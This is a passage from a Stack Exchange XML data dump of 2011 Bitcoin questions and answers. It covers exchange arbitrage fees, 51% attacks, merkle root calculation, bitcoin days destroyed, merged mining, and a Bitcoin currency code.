  <row Id="1121" PostTypeId="1" CreationDate="2011-09-17T01:33:52.017" Score="0" ViewCount="895" Body="&lt;p&gt;I'm currently writing something to script arbitrage between two exchanges to test the concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can determine the difference in prices by using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ExhangeA_sell - ExchangeB_buy) &amp;lt;- this will give me the price difference. i.e. gross profit (before fee's)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, how do I take the fee's into account when calculating net profit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently my thinking is that I add the commission % to the buy price on ExchangeA and subtract the commission % from the sell price on ExchangeB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-09-19T20:18:57.820" Title="Costing arbitrage between exchanges" Tags="|exchange-rate|arbitrage|" AnswerCount="2" CommentCount="1" ClosedDate="2011-09-22T05:40:46.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="1122" PostTypeId="2" ParentId="1099" CreationDate="2011-09-17T01:40:41.587" Score="3" Body="&lt;p&gt;As others mentioned, 51%==100%. It's not undetectable, though: the attacker will force reorgs constantly, which will be visible to everyone (see &lt;a href=&quot;http://blockexplorer.com/q/reorglog&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/reorglog&lt;/a&gt;). An alert would probably be issued if an attacker started solving all blocks.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-09-17T01:40:41.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1123" PostTypeId="1" AcceptedAnswerId="1128" CreationDate="2011-09-17T01:41:00.447" Score="0" ViewCount="84" Body="&lt;p&gt;I'm working on my first trading script using the TradeHill API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find it pretty annoying that the OID of an order isn't returned to you when you create a new buy/sell order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly can you get the OID of a freshly created order? I'm thinking that you will have to have a list of orders before it is created and compare this with the new list after the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must then find the new OID in the list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the only way?&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="5" LastEditDate="2011-09-17T02:19:48.447" LastActivityDate="2011-09-21T18:24:02.417" Title="Best way to get the OID of an order created at TradeHill?" Tags="|tradehill|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1124" PostTypeId="2" ParentId="588" CreationDate="2011-09-17T01:41:45.953" Score="4" Body="&lt;p&gt;Technical analysis is important, but right now I think that one should not rely exclusively on chart analysis and indicators to predict Bitcoin's price movement. For example, at the end of July and mid-August some indicators, such as MACD or RSI, clearly showed a trend inversion that did not happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of Bitcoin's unique features is the mining system and I think that, right now, this plays an important role in price analysis. After Bitcoin hit $30 in July, many people invested in mining rigs and difficulty rose a lot. Those people are looking forward to get their investment back and, since Bitcoin is extremely infalctionary right now (50 new coins every 10 minutes), there is a big selling force at the markets.&lt;br&gt;&#xA;If miners sell 30 coins out of each block, we need around 1 million dollars per month to keep the price at $5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also believe that the $30 spike was caused by media exposure. Such a small market can be easily manipulated by a few serious investors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main points:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use Technical Analysis carefully.&lt;/li&gt;&#xA;&lt;li&gt;Consider the number of coins per block and the money invested by miners&lt;/li&gt;&#xA;&lt;li&gt;Keep an eye for important news that may attract new investors to the market &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To finish, here is one stock behaviour that I could identify: the &lt;a href=&quot;http://tradingsim.com/blog/dead-cat-bounce/&quot; rel=&quot;nofollow noreferrer&quot;&gt;dead cat bounce&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A dead cat bounce is a trading term used to define when a stock in a&#xA;  severe decline has a sharp bounce off the lows.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hkQdg.png&quot; alt=&quot;Dead Cat Bounce&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-09-17T02:00:56.407" LastActivityDate="2011-09-17T02:00:56.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1125" PostTypeId="2" ParentId="1110" CreationDate="2011-09-17T01:44:47.073" Score="5" Body="&lt;p&gt;You hash the hashes. See the bottom of &lt;a href=&quot;https://en.bitcoin.it/wiki/Dump_format#CBlock&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Dump_format#CBlock&lt;/a&gt; for an image.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-09-17T01:44:47.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1127" PostTypeId="2" ParentId="1121" CreationDate="2011-09-17T02:00:00.103" Score="2" Body="&lt;p&gt;It's pretty simple. Like you said, you only have to add the fees to the selling price and subtract them from the buying price. Considering that the fee is a number between 0 and 1 that represents the percentage, here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExchangeB_bidPrice * (1 - ExchangeB_fee) - ExchangeA_askPrice * (1 + ExchangeA_fee)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you the &lt;strong&gt;profit per coin&lt;/strong&gt; for buying at ExchangeA and selling at ExchangeB.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-09-19T20:18:57.820" LastActivityDate="2011-09-19T20:18:57.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1128" PostTypeId="2" ParentId="1123" CreationDate="2011-09-17T02:25:25.270" Score="1" Body="&lt;p&gt;You must keep a record of your orders and compare them with the returned list. Alternatively, you can sort the returned list according to date. The order you posted is the most recent.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-17T02:25:25.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1129" PostTypeId="2" ParentId="1100" CreationDate="2011-09-17T02:33:00.840" Score="3" Body="&lt;p&gt;I'm not sure how you would make vanity addresses work for this. You don't want to store an address for each user, and if you did you wouldn't need vanity addresses. If you force the user to create a vanity address, I don't see what they would do with it that would help you. It seems kind of bizarre to force them to transfer the coins to their own vanity address and then transfer them to you, so you can see the vanity address as the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possibility is to publish a simple algorithm to convert their user name to a Bitcoin address (that nobody could claim). Then have them use the &lt;code&gt;sendmany&lt;/code&gt; API call to send the payment to you and a satoshi to their user name's corresponding Bitcoin address. You would receive the funds and then know what user to credit them to by decoding the address that had received a satoshi. This would waste one satoshi for each transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are really only two issues with this. First, it's a bit of a pain for your users. They can't use the GUI to send the funds since it doesn't support &lt;code&gt;sendmany&lt;/code&gt;. Second, the users have to be careful not to send the actual funds to the Bitcoin address corresponding to their user name. If they did, those coins would be lost forever. They need to understand that they should only send a tiny fraction of a Bitcoin to that address so as to 'mark' the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, I think all the possible solutions are ugly and you should rethink the decisions that led you to these unusual requirements.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-17T02:33:00.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1130" PostTypeId="2" ParentId="1081" CreationDate="2011-09-17T02:37:43.590" Score="23" Body="&lt;p&gt;The only thing I can think of is Mike Hearn's idea for &lt;a href=&quot;https://en.bitcoin.it/wiki/Smart_Property&quot;&gt;Smart Property&lt;/a&gt;. This would allow the ownership of physical assets to be digitally exchanged and stored in the block chain. Other than that, I think Bitcoin mainly improves the efficiency of many, mainly digital, business models.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2011-09-17T02:37:43.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1131" PostTypeId="2" ParentId="991" CreationDate="2011-09-17T06:40:45.117" Score="0" Body="&lt;p&gt;&lt;em&gt;Perhaps an algorithm that requires a moderate amount of memory that would be practical for a GPU to have but not very practical to locate on an ASIC.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Common misconception.  Most fabs now have &lt;a href=&quot;http://www-03.ibm.com/press/us/en/pressrelease/32970.wss&quot; rel=&quot;nofollow&quot;&gt;logic-in-dram processes&lt;/a&gt; available; a memory-bandwidth-intensive algorithm would be obscenely faster on these chips than on a GPU or CPU which need to use big slow copper pins and PCB traces to get to the memory chips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt you're ever going to find the kind of problem you're looking for.  CPUs and even GPUs pay a heavy price to be jack-of-all-trades; unless your cryptographic function is something like &quot;boot up a virtual machine running Windows 95 and run this MS-DOS program on it&quot;, somebody will find a way to make it more efficient by tossing out the part of the CPU/GPU it doesn't need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I don't think ASICs will ever be a cost-effective way to mine.  They only matter if you're worried about entities with deep pockets who are motivated by something other than making them deeper (&quot;national security&quot;). &lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-09-17T06:40:45.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1132" PostTypeId="2" ParentId="902" CreationDate="2011-09-17T07:01:10.270" Score="1" Body="&lt;p&gt;Keep in mind that whenever an alternative chain enables merged mining it is &lt;strong&gt;centralizing a huge amount of trust in the bitcoin (&quot;Nakamoto chain&quot;) mining pool operators&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When people join a bitcoin mining pool, it's generally because they want bitcoins.  Sure, a few people will ask their pool operator to add thischain or thatchain mining, and some pools will.  But plenty of pools won't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody running a pool who has &lt;strong&gt;not&lt;/strong&gt; told its miners &quot;hey we are mining &lt;strong&gt;blartzcoin&lt;/strong&gt; and I will split the reward with you&quot; basically has a gigantic pile of &lt;strong&gt;blartzcoin&lt;/strong&gt; hashpower to direct as he/she pleases.  They're totally unaccountable in how they use that power.  If they use it to screw up the alternative blockchain, and in doing so they sacrifice the altchain mining rewards, none of their miners will get upset and jump ship because they weren't expecting those rewards in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merged mining is risky for altchains unless you can be reasonably sure that miners will demand that their pools mine that chain.  Right now I think Namecoin is the only case where that's even close to being true.  It's also the only chain with a coherent answer to the question &quot;wait, doesn't bitcoin already serve this purpose?&quot;&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-09-17T07:01:10.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1133" PostTypeId="2" ParentId="1106" CreationDate="2011-09-17T07:09:54.693" Score="2" Body="&lt;p&gt;Silk road's &lt;a href=&quot;https://dkn255hz262ypmii.tor2web.org/index.php?topic=819.0&quot; rel=&quot;nofollow&quot;&gt;hedged escrow&lt;/a&gt; is a first step in this direction, and seems to work.  But all the &quot;trades&quot; are bilateral (SR is always one of the parties) and you can't &quot;buy&quot; the &quot;contract&quot; unless its to hedge a sale made through the SR website.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-09-17T07:09:54.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1134" PostTypeId="2" ParentId="1110" CreationDate="2011-09-17T11:11:06.820" Score="25" Body="&lt;p&gt;In each iteration, you concatenate two subsequent hashes of the previous level, and double-sha256 them. If there is an odd number of hashes, concatenate the last element with itself.&#xA;This gives you a new list of hashes. Repeat, and stop when one hash remains. This is the merkle root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you have tx hashes Ha1,Ha2,Ha3,Ha4,Ha5,Ha6,Ha7&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First iteration: Hb1=Hash(Ha1|Ha2), Hb2=Hash(Ha3|Ha4), Hb3=Hash(Ha5|Ha6), Hb4=Hash(Ha7|Ha7)&lt;/li&gt;&#xA;&lt;li&gt;Second iteration: Hc1=Hash(Hb1|Hb2), Hc2=Hash(Hb3|Hb4)&lt;/li&gt;&#xA;&lt;li&gt;Third iteration: Hd1=Hash(Hc1|Hc2) =&gt; Merkle root&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2011-09-17T11:11:06.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1135" PostTypeId="2" ParentId="1086" CreationDate="2011-09-17T15:13:06.533" Score="1" Body="&lt;p&gt;The least burdensome but most useful change IMO is that you should be able to send a message along with a transaction. It would make things so much easier - ordering products or services could become a 1-step process, and email back-and-forth would be considerably reduced.&lt;/p&gt;&#xA;" OwnerUserId="416" LastActivityDate="2011-09-17T15:13:06.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1136" PostTypeId="2" ParentId="845" CreationDate="2011-09-17T15:44:05.627" Score="8" Body="&lt;p&gt;It seems that a regularly-updated graph of Bitcoin Days Destroyed is at &lt;a href=&quot;http://banana.mine.nu/daysdest.html&quot; rel=&quot;noreferrer&quot;&gt;http://banana.mine.nu/daysdest.html&lt;/a&gt;&#xA;But note it differs from the &lt;a href=&quot;https://en.bitcoin.it/wiki/File%3aJune-17th-days-destroyed.png&quot; rel=&quot;noreferrer&quot;&gt;graph on the wiki&lt;/a&gt; in that it seems that it graphs &quot;bitcoin days destroyed&quot;, rather than &quot;percent of bitcoin days-to-date destroyed&quot;.  The latter is what &lt;a href=&quot;http://abe.john-edwin-tobey.org/&quot; rel=&quot;noreferrer&quot;&gt;ABE&lt;/a&gt; labels &quot;% CoinDD&quot;, which he &lt;a href=&quot;http://abe.john-edwin-tobey.org/block/000000000000006bcbdf259dca32050db18798c2f481705b0a4452a5855cd580&quot; rel=&quot;noreferrer&quot;&gt;reports as 36.1245%&lt;/a&gt; as of block 145677 at 2011-09-17 06:18:18.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the calculations seem to have other differences.  E.g. the &lt;a href=&quot;http://abe.john-edwin-tobey.org/block/0000000000001044ad23b02bb9aea40703d0b5aab12a4eb200988ebc25fb1a43&quot; rel=&quot;noreferrer&quot;&gt;ABE result for block 131400&lt;/a&gt;, which was also around June 17 2011, was &quot;Cumulative Coin-days Destroyed: 35.1672%&quot;, but the value from the wiki graph is about 28% on June 17.  The corresponding value on the banana.mine.nu graph is about 900,000,000 bitcoin days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say that in general a graph of &quot;% CoinDD&quot; seems much more helpful than a raw number which always goes up.  Note e.g. that according to ABE, the percent value has barely increased between June 17 and Sep 17. Is there any regularly updated source for a percentage-based graph?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By closely watching this metric you can identify upward spikes which are likely times where early bitcoin adopters may be &quot;cashing out&quot; or spending their early coins.  But note that they could also instead just be moving coins around internally, e.g. moving coins to a better-protected wallet.  But &quot;% CoinDD&quot; is still less affected by such movements than the overall transaction volume metric is.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2011-09-17T16:24:24.637" LastActivityDate="2011-09-17T16:24:24.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1137" PostTypeId="1" AcceptedAnswerId="1598" CreationDate="2011-09-17T17:29:00.977" Score="8" ViewCount="682" Body="&lt;p&gt;The &lt;a href=&quot;http://abe.john-edwin-tobey.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Abe&lt;/a&gt; blockchain explorer provides statistics for &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/845/what-are-bitcoin-days-destroyed&quot;&gt;percentage bitcoin days destroyed&lt;/a&gt;, using the generic term &lt;strong&gt;&quot;% CoinDD&quot;&lt;/strong&gt;.  Currently Bitcoin is 36.1245%, Namecoin is 41.5547%, and SolidCoin is 47.0952%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that the relatively high numbers for Namecoin and SolidCoin could indicate that people are cashing their mined coins in for other currencies or goods more regularly than people have historically done with Bitcoin.  What is known about the Namecoin and SolidCoin transaction cultures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But of course Bitcoin only became really active in recent months.&#xA;It would be interesting to see comparisons of recent activity.  Are regularly updated graphs over time available for these % CoinDD values?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-06-19T15:59:45.543" Title="What does a comparison of Bitcoin Days Destroyed say about Bitcoin vs Namecoin vs SolidCoin?" Tags="|alternatives|bitcoin-economy|bitcoin-days-destroyed|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1139" PostTypeId="2" ParentId="845" CreationDate="2011-09-17T18:42:06.403" Score="21" Body="&lt;p&gt;I personally prefer to think of bitcoin days destroyed as a measurement of &quot;hoarding&quot;, not as a measure of economic activity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cumulative:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pi.uk.com/bitcoin/charts/bitcoin-days-destroyed-cumulative?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&quot;&gt;http://pi.uk.com/bitcoin/charts/bitcoin-days-destroyed-cumulative?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steep parts of the chart represent a high number of bitcoin days destroyed which as nealmcb states could be early adopters cashing out or moving coins between wallets. It does not necessarily not represent increasing transaction volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;None cumulative:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pi.uk.com/bitcoin/charts/bitcoin-days-destroyed?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&quot;&gt;http://pi.uk.com/bitcoin/charts/bitcoin-days-destroyed?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peaks represent a large volume of old coins being transferred. You can see there is some correlation between the &lt;a href=&quot;http://pi.uk.com/bitcoin/charts/n-transactions?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=7&quot;&gt;number of transactions&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2011-09-17T19:53:38.157" LastActivityDate="2011-09-17T19:53:38.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1140" PostTypeId="2" ParentId="861" CreationDate="2011-09-18T12:26:09.150" Score="6" Body="&lt;p&gt;That's not correct. The nLockTime field is implemented. It was deliberately switched off some time ago in order to reduce the complexity of the protocol. The reason was a series of protocol-based attacks that had compromised the integrity of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point the feature will be re-activated. Probably, after someone has written a comprehensive test suite and technical analysis showing that it's not risky to re-enable.&lt;/p&gt;&#xA;" OwnerUserId="430" LastActivityDate="2011-09-18T12:26:09.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1141" PostTypeId="2" ParentId="785" CreationDate="2011-09-18T12:29:21.940" Score="4" Body="&lt;p&gt;Hal Finney created RPOWs. This is probably the closest predecessor to Bitcoin, because it was actually developed and usable (not just a proposal). RPOWs are &quot;reusable proofs of work&quot;. Created by solving hard hashcash puzzles, they are then traded by interacting with a database running inside an IBM cryptocard. It has the ability to prove what it is executing to remote users. Instead of trusting a data structure created by a p2p network, you trusted the secure hardware.&lt;/p&gt;&#xA;" OwnerUserId="430" LastActivityDate="2011-09-18T12:29:21.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1142" PostTypeId="2" ParentId="1080" CreationDate="2011-09-18T13:50:48.667" Score="7" Body="&lt;p&gt;Use &lt;a href=&quot;http://www.bitaddress.org/&quot;&gt;bitaddress.org&lt;/a&gt;. It is a single HTML file so you can save it and generate addresses offline for extra security.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-18T13:50:48.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1143" PostTypeId="2" ParentId="1080" CreationDate="2011-09-18T16:12:04.587" Score="3" Body="&lt;p&gt;For a PDF wallet give &lt;a href=&quot;http://strongcoin.com&quot; rel=&quot;nofollow&quot;&gt;StrongCoin.com&lt;/a&gt; a try. The PDF wallet will have your private keys encrypted (AES 256bit) with a pass-phrase you supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The encryption is done with JavaScript on the client side so your private keys are not exposed to the servers.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2011-09-18T16:12:04.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1144" PostTypeId="1" CreationDate="2011-09-18T17:35:24.923" Score="8" ViewCount="817" Body="&lt;p&gt;I am interested in what other internet and other communication services out there are accepting Bitcoins for payment.&#xA;I know of &lt;a href=&quot;http://mullvad.net/&quot; rel=&quot;noreferrer&quot;&gt;http://mullvad.net/&lt;/a&gt; for VPN and a few others, &lt;a href=&quot;http://www.chundle.com/bitcoin&quot; rel=&quot;noreferrer&quot;&gt;http://www.chundle.com/bitcoin&lt;/a&gt; for Usenet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt there are any ISPs yet or cell services.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2011-09-19T05:56:35.020" Title="Services paid in Bitcoin" Tags="|services|" AnswerCount="1" CommentCount="1" ClosedDate="2011-09-19T17:28:39.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="1145" PostTypeId="2" ParentId="785" CreationDate="2011-09-19T03:10:56.950" Score="4" Body="&lt;p&gt;Satoshi Nakamoto mentioned Wei Dai's &quot;b-money&quot; and Nick Szabo's &quot;Bit gold&quot;, in addition to David Chaum's &quot;digicash&quot; in early discussions of Bitcoin. The latter was centralized, but had strong privacy properties and was very widely cited, researched, and discussed at the time.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2011-09-19T03:10:56.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1146" PostTypeId="2" ParentId="1144" CreationDate="2011-09-19T05:56:35.020" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitcointorrentz.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Torrents&lt;/a&gt; lets you use their uber-fast servers to download a torrent.  Then you can stream it from there at a consistent rate.  Very nice idea!&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-09-19T05:56:35.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1147" PostTypeId="2" ParentId="1081" CreationDate="2011-09-19T06:10:06.187" Score="18" Body="&lt;p&gt;bitlotto.com uses the blockchain to provide a cheat proof lottery which has never existed before.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2011-09-19T06:10:06.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1148" PostTypeId="2" ParentId="1081" CreationDate="2011-09-19T11:41:24.867" Score="8" Body="&lt;p&gt;Hmm, I think the new business models enabled by Bitcoins would be the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Providing paid content on a website in exchange for using the customer's computer to mine while he or she is on the website. Imagine mining during the countdown on sites like Rapidshare used to generate revenue.&lt;/li&gt;&#xA;&lt;li&gt;Providing both hardware and support for certain businesses in exchange for running mining software on the provided machines. Imagine providing a restaurant with a computer that runs their menu system. It is a simple operation that can be done entirely on a CPU. If you provide them a normal computer to run that, you can always install a good mining GPU in there, or an FGPA module. Your software can then run the miner in the background and generate you revenue. They are connected to the internet anyway (credit card processing), and you probably can request them not to turn their computers off (for night maintenance), so you effectively have a 24/7 miner.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-03-24T18:20:31.957" LastActivityDate="2012-03-24T18:20:31.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1149" PostTypeId="2" ParentId="462" CreationDate="2011-09-19T15:14:04.917" Score="8" Body="&lt;p&gt;To complete the above consensus, let's add that the “BTC” denomination is a construction by analogy mimicking ISO 4217, a standard published by the International Standards Organization, which delineates currency designators, country codes (alpha and numeric), and references to minor units. E.g. GBP, Pound Sterling, USD, dollar, CHF, Swiss franc, etc.&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2011-09-19T15:14:04.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1150" PostTypeId="1" AcceptedAnswerId="1151" CreationDate="2011-09-19T16:54:37.220" Score="12" ViewCount="409" Body="&lt;p&gt;At present it seems that the de facto code for bitcoins seems to be BTC. There has been &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1446.0&quot;&gt;some discussion of this over on the forums&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/w/index.php?title=ISO_4217&amp;amp;section=6#Without_currency_code&quot;&gt;an entry on Wikipedia&lt;/a&gt;, but I thought I'd ask the question here to arrive at an easily recognised community answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if bitcoins ever became ratified as a currency under &lt;a href=&quot;http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=46121&quot;&gt;ISO 4217&lt;/a&gt; (paywall, PDF) would it be given the code BTC? If not, then what other serious contenders are there?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="659" LastEditDate="2012-03-13T18:51:40.190" LastActivityDate="2012-03-13T18:51:40.190" Title="If Bitcoin is ratified as a currency would its code be BTC?" Tags="|currencies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1151" PostTypeId="2" ParentId="1150" CreationDate="2011-09-19T17:12:29.973" Score="16" Body="&lt;p&gt;The normal rule is (two letter country code) + (letter), although that's arguably already been broken by the Euro having EUR instead of EUE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BT is the country code of Bhutan, whose currency has the code BTN. If anyone will object to BTC for Bitcoin, it'll be them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to wikipedia, which is never wrong, multi-national currencies use the X prefix. XBC is taken by &quot;European Unit of Account 9&quot;, but XBI is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/ISO_4217&quot;&gt;http://en.wikipedia.org/wiki/ISO_4217&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2011-09-19T17:20:16.267" LastActivityDate="2011-09-19T17:20:16.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1152" PostTypeId="1" AcceptedAnswerId="1156" CreationDate="2011-09-19T18:49:01.190" Score="10" ViewCount="1283" Body="&lt;p&gt;I'm trying to implement my own Markle Tree, currently I'm working on getting the hashing done correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used some hashes from &lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000a85d42610b292d2baebe54ff0c854847fe3d2ca37ac7d6e46b99&quot;&gt;http://blockexplorer.com/rawblock/000000000000a85d42610b292d2baebe54ff0c854847fe3d2ca37ac7d6e46b99&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example inputs (first two hashes from blockexplorer):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ina: 3a459eab5f0cf8394a21e04d2ed3b2beeaa59795912e20b9c680e9db74dfb18c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inb: be38f46f0eccba72416aed715851fd07b881ffb7928b7622847314588e06a6b7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concatenated string (H1+H2): 3a459eab5f0cf8394a21e04d2ed3b2beeaa59795912e20b9c680e9db74dfb18cbe38f46f0eccba72416aed715851fd07b881ffb7928b7622847314588e06a6b7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hash of concatenated string:&#xA;Ans v1: b5916d6bc34bd4157aa73c3d799a6cfcef85e0659465734362d0cebb8901e93d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final hash of concatenated string:&#xA;Ans v2: 215f8397a3090a0bc8f4a2e98609a10d55fc7b939fa1ecf9803df20b1ee089a2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result I got:&#xA;215f8397a3090a0bc8f4a2e98609a10d55fc7b939fa1ecf9803df20b1ee089a2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expected result:&#xA;13a3595f2610c8e4d727130daade66c772fdec4bd2463d773fd0f85c20ced32d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked my calculations &quot;manually&quot; using &lt;a 